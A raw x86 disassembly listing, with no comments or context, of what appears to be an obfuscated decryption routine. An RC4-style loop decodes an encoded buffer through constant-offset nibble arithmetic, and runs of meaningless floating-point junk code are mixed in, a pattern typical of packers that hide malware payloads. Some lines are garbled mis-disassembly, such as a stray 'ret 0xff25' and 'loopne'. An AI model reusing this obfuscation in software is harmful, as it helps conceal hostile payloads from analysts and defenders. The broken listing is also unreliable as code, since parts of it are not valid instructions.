movsd xmm0, qword [ebp - 0x4ef4]
mulsd xmm0, qword [ebp - 0x449c]
movsd qword [ebp - 0x4ef4], xmm0
movsd xmm0, qword [ebp - 0x449c]
divsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x449c]
mulsd xmm0, qword [ebp - 0x4fdc]
movsd qword [ebp - 0x449c], xmm0
jmp 0x485281
mov dl, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], dl
movsd xmm0, qword [ebp - 0x449c]
subsd xmm0, qword [ebp - 0x4ef4]
movsd qword [ebp - 0x449c], xmm0
movsd xmm0, qword [ebp - 0x4fdc]
addsd xmm0, qword [ebp - 0x449c]
movsd qword [ebp - 0x4fdc], xmm0
movsd xmm0, qword [ebp - 0x449c]
mulsd xmm0, qword [ebp - 0x4ef4]
movsd qword [ebp - 0x449c], xmm0
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x362c], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x358e]
add eax, edx
mov byte [ebp - 0x358e], al
mov cl, byte [ebp - 0x3573]
add cl, 1
mov byte [ebp - 0x3573], cl
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [ebp - 0x362c]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x362c]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3633]
add edx, ecx
mov byte [ebp - 0x3633], dl
movzx eax, byte [ebp - 0x3635]
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3633]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x358f], al
mov al, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], al
mov cl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], cl
cmp dword [ebp - 0x36cc], 0
jbe 0x485464
mov edx, dword [ebp - 0x36cc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x2dc]
mov cl, byte [ebp - 0x36fb]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x36cc]
add edx, 1
mov dword [ebp - 0x36cc], edx
mov eax, dword [ebp - 0x38e0]
add eax, 1
mov dword [ebp - 0x38e0], eax
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
mov dword [ebp - 0x3d6c], ecx
mov edx, dword [ebp - 0x3d6c]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c24], eax
mov dword [ebp - 0x3c28], 0xe6
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d68], ecx
mov edx, dword [ebp - 0x3d68]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c2c], eax
mov dword [ebp - 0x3c30], 0x59
mov ecx, dword [ebp - 0x3c24]
sub ecx, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c2c]
sub edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], edx
mov eax, dword [ebp - 0x3c34]
shl eax, 4
mov dword [ebp - 0x3d64], eax
mov ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], ecx
mov edx, dword [ebp - 0x3d64]
or edx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], edx
mov al, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], al
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea edx, [ebp - 0xe9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x362c], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358e]
add ecx, eax
mov byte [ebp - 0x358e], cl
mov dl, byte [ebp - 0x3573]
add dl, 1
mov byte [ebp - 0x3573], dl
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [ebp - 0x362c]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x362c]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3633]
add eax, edx
mov byte [ebp - 0x3633], al
movzx ecx, byte [ebp - 0x3635]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3633]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
ret 0xff25
add byte [eax], al
add cl, al
loopne 0x4856c9
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358f], cl
mov cl, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], cl
mov dl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], dl
cmp dword [ebp - 0x36cc], 0
jbe 0x485724
mov eax, dword [ebp - 0x36cc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2dc]
mov dl, byte [ebp - 0x36fb]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x38e0]
add eax, 4
mov dword [ebp - 0x38e0], eax
mov ecx, dword [ebp - 0x36cc]
add ecx, 1
mov dword [ebp - 0x4e28], ecx
jmp 0x485753
mov edx, dword [ebp - 0x4e28]
add edx, 1
mov dword [ebp - 0x4e28], edx
mov eax, dword [ebp - 0x4e28]
cmp eax, dword [ebp - 0x38e0]
jge 0x485a1a
mov ecx, dword [ebp - 0x36cc]
add ecx, 1
mov dword [ebp - 0x36cc], ecx
mov edx, dword [ebp - 0x36cc]
shl edx, 1
mov dword [ebp - 0x3d6c], edx
mov eax, dword [ebp - 0x3d6c]
shl eax, 0
add eax, dword [ebp - 0x3e04]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c24], ecx
mov dword [ebp - 0x3c28], 0xe6
mov edx, dword [ebp - 0x36cc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d68], edx
mov eax, dword [ebp - 0x3d68]
shl eax, 0
add eax, dword [ebp - 0x3e04]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c2c], ecx
mov dword [ebp - 0x3c30], 0x59
mov edx, dword [ebp - 0x3c24]
sub edx, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], edx
mov eax, dword [ebp - 0x3c2c]
sub eax, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], eax
mov ecx, dword [ebp - 0x3c34]
shl ecx, 4
mov dword [ebp - 0x3d64], ecx
mov edx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], edx
mov eax, dword [ebp - 0x3d64]
or eax, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], eax
mov cl, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], cl
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x362c], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x358e]
add edx, ecx
mov byte [ebp - 0x358e], dl
mov al, byte [ebp - 0x3573]
add al, 1
mov byte [ebp - 0x3573], al
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
mov al, byte [ebp - 0x362c]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x362c]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3633]
add ecx, eax
mov byte [ebp - 0x3633], cl
movzx edx, byte [ebp - 0x3635]
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3633]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x358f], dl
mov dl, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], dl
mov al, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], al
cmp dword [ebp - 0x36cc], 0
jbe 0x485a15
mov ecx, dword [ebp - 0x36cc]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2dc]
mov al, byte [ebp - 0x36fb]
mov byte [ecx + edx], al
jmp 0x485744
mov ecx, dword [ebp - 0x38e0]
add ecx, 1
mov dword [ebp - 0x38e0], ecx
mov edx, dword [ebp - 0x36cc]
add edx, 1
mov dword [ebp - 0x36cc], edx
mov eax, dword [ebp - 0x38e0]
add eax, 1
mov dword [ebp - 0x38e0], eax
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
mov dword [ebp - 0x3d6c], ecx
mov edx, dword [ebp - 0x3d6c]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c24], eax
mov dword [ebp - 0x3c28], 0xe6
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d68], ecx
mov edx, dword [ebp - 0x3d68]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c2c], eax
mov dword [ebp - 0x3c30], 0x59
mov ecx, dword [ebp - 0x3c24]
sub ecx, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c2c]
sub edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], edx
mov eax, dword [ebp - 0x3c34]
shl eax, 4
mov dword [ebp - 0x3d64], eax
mov ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], ecx
mov edx, dword [ebp - 0x3d64]
or edx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], edx
mov al, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], al
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea edx, [ebp - 0xe9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x362c], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358e]
add ecx, eax
mov byte [ebp - 0x358e], cl
mov dl, byte [ebp - 0x3573]
add dl, 1
mov byte [ebp - 0x3573], dl
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [ebp - 0x362c]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x362c]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3633]
add eax, edx
mov byte [ebp - 0x3633], al
movzx ecx, byte [ebp - 0x3635]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3633]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358f], cl
mov cl, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], cl
mov dl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], dl
cmp dword [ebp - 0x36cc], 0
jbe 0x485ce9
mov eax, dword [ebp - 0x36cc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2dc]
mov dl, byte [ebp - 0x36fb]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x36cc]
add eax, 1
mov dword [ebp - 0x36cc], eax
mov ecx, dword [ebp - 0x38e0]
add ecx, 1
mov dword [ebp - 0x38e0], ecx
mov edx, dword [ebp - 0x36cc]
shl edx, 1
mov dword [ebp - 0x3d6c], edx
mov eax, dword [ebp - 0x3d6c]
shl eax, 0
add eax, dword [ebp - 0x3e04]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c24], ecx
mov dword [ebp - 0x3c28], 0xe6
mov edx, dword [ebp - 0x36cc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d68], edx
mov eax, dword [ebp - 0x3d68]
shl eax, 0
add eax, dword [ebp - 0x3e04]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c2c], ecx
mov dword [ebp - 0x3c30], 0x59
mov edx, dword [ebp - 0x3c24]
sub edx, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], edx
mov eax, dword [ebp - 0x3c2c]
sub eax, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], eax
mov ecx, dword [ebp - 0x3c34]
shl ecx, 4
mov dword [ebp - 0x3d64], ecx
mov edx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], edx
mov eax, dword [ebp - 0x3d64]
or eax, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], eax
mov cl, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], cl
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x362c], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x358e]
add edx, ecx
mov byte [ebp - 0x358e], dl
mov al, byte [ebp - 0x3573]
add al, 1
mov byte [ebp - 0x3573], al
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
mov al, byte [ebp - 0x362c]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x362c]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3633]
add ecx, eax
mov byte [ebp - 0x3633], cl
movzx edx, byte [ebp - 0x3635]
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3633]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x358f], dl
mov dl, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], dl
mov al, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], al
cmp dword [ebp - 0x36cc], 0
jbe 0x485fa8
mov ecx, dword [ebp - 0x36cc]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2dc]
mov al, byte [ebp - 0x36fb]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x36cc]
add ecx, 1
mov dword [ebp - 0x36cc], ecx
mov edx, dword [ebp - 0x38e0]
add edx, 1
mov dword [ebp - 0x38e0], edx
mov eax, dword [ebp - 0x36cc]
shl eax, 1
mov dword [ebp - 0x3d6c], eax
mov ecx, dword [ebp - 0x3d6c]
shl ecx, 0
add ecx, dword [ebp - 0x3e04]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c24], edx
mov dword [ebp - 0x3c28], 0xe6
mov eax, dword [ebp - 0x36cc]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d68], eax
mov ecx, dword [ebp - 0x3d68]
shl ecx, 0
add ecx, dword [ebp - 0x3e04]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c2c], edx
mov dword [ebp - 0x3c30], 0x59
mov eax, dword [ebp - 0x3c24]
sub eax, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], eax
mov ecx, dword [ebp - 0x3c2c]
sub ecx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], ecx
mov edx, dword [ebp - 0x3c34]
shl edx, 4
mov dword [ebp - 0x3d64], edx
mov eax, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], eax
mov ecx, dword [ebp - 0x3d64]
or ecx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], ecx
mov dl, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], dl
movzx eax, byte [ebp - 0x35bf]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x362c], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x358e]
add eax, edx
mov byte [ebp - 0x358e], al
mov cl, byte [ebp - 0x3573]
add cl, 1
mov byte [ebp - 0x3573], cl
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movsd xmm0, qword [0x9dad70]
movsd qword [ebp - 0x4eec], xmm0
movsd xmm0, qword [0x9dab80]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [0x9da9b8]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [0x9da7f8]
movsd qword [ebp - 0x5188], xmm0
movsd xmm0, qword [0x9da5d0]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [0x9da3d8]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x49d4]
subsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [ebp - 0x4b08]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x4eec]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4eec], xmm0
movsd xmm0, qword [ebp - 0x4eec]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4eec], xmm0
movsd xmm0, qword [ebp - 0x44a4]
addsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x4eec]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4eec], xmm0
movsd xmm0, qword [ebp - 0x49d4]
comisd xmm0, xmmword [ebp - 0x4eec]
jbe 0x48645d
movsd xmm0, qword [ebp - 0x44a4]
addsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x44a4]
addsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x4b08]
mulsd xmm0, qword [ebp - 0x44a4]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x4b08]
addsd xmm0, qword [ebp - 0x44a4]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x44a4]
mulsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x4b10]
subsd xmm0, qword [ebp - 0x4eec]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x5188]
subsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x5188], xmm0
movsd xmm0, qword [ebp - 0x4b08]
mulsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x5188]
divsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x5188], xmm0
movsd xmm0, qword [ebp - 0x49d4]
subsd xmm0, qword [ebp - 0x4eec]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [ebp - 0x4eec]
mulsd xmm0, qword [ebp - 0x44a4]
movsd qword [ebp - 0x4eec], xmm0
movsd xmm0, qword [ebp - 0x44a4]
divsd xmm0, qword [ebp - 0x49d4]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x44a4]
comisd xmm0, xmmword [ebp - 0x4eec]
jbe 0x4863c8
movsd xmm0, qword [ebp - 0x4b08]
subsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x49d4]
addsd xmm0, qword [ebp - 0x4eec]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [ebp - 0x4b10]
addsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x44a4]
addsd xmm0, qword [ebp - 0x49d4]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x44a4]
mulsd xmm0, qword [ebp - 0x49d4]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x44a4]
addsd xmm0, qword [ebp - 0x49d4]
movsd qword [ebp - 0x44a4], xmm0
jmp 0x486458
movsd xmm0, qword [ebp - 0x4b08]
divsd xmm0, qword [ebp - 0x44a4]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x5188]
subsd xmm0, qword [ebp - 0x49d4]
movsd qword [ebp - 0x5188], xmm0
movsd xmm0, qword [ebp - 0x44a4]
mulsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x44a4], xmm0
movsd xmm0, qword [ebp - 0x49d4]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [ebp - 0x4b08]
mulsd xmm0, qword [ebp - 0x44a4]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x49d4]
divsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x49d4], xmm0
jmp 0x486513
movsd xmm0, qword [ebp - 0x4b08]
subsd xmm0, qword [ebp - 0x44a4]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x49d4]
addsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [ebp - 0x49d4]
addsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x49d4], xmm0
movsd xmm0, qword [ebp - 0x4eec]
addsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4eec], xmm0
movsd xmm0, qword [ebp - 0x4b10]
